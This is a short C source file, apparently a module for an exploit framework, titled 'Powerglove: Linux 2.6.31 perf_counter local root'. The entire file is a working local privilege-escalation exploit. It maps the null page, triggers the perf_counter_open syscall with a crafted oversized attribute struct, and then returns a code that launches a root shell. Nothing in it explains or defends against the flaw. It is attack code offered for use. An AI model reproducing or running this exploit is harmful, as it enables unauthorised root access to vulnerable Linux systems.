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exp_powerglove.c
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C/C++ Source or Header
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2009-09-20
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995b
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63 lines
/* powerglove */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include "exp_framework.h"
#undef __NR_perf_counter_open
#ifdef __x86_64__
#define __NR_perf_counter_open 298
#else
#define __NR_perf_counter_open 336
#endif
struct perf_counter_attr {
unsigned int type;
unsigned int size;
};
struct exploit_state *exp_state;
char *desc = "Powerglove: Linux 2.6.31 perf_counter local root";
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int requires_null_page = 1;
int prepare(unsigned char *ptr)
{
return EXIT_KERNEL_TO_NULL;
}
int trigger(void)
{
struct perf_counter_attr *ctr;
ctr = (struct perf_counter_attr *)calloc(1, 0x1000);
if (ctr == NULL) {
fprintf(stdout, "bleh\n");
exit(1);
}
#ifdef __x86_64__
ctr->size = 0xd0;
#else
ctr->size = 0x60;
#endif
syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL);
return 0;
}
int post(void)
{
return RUN_ROOTSHELL;
}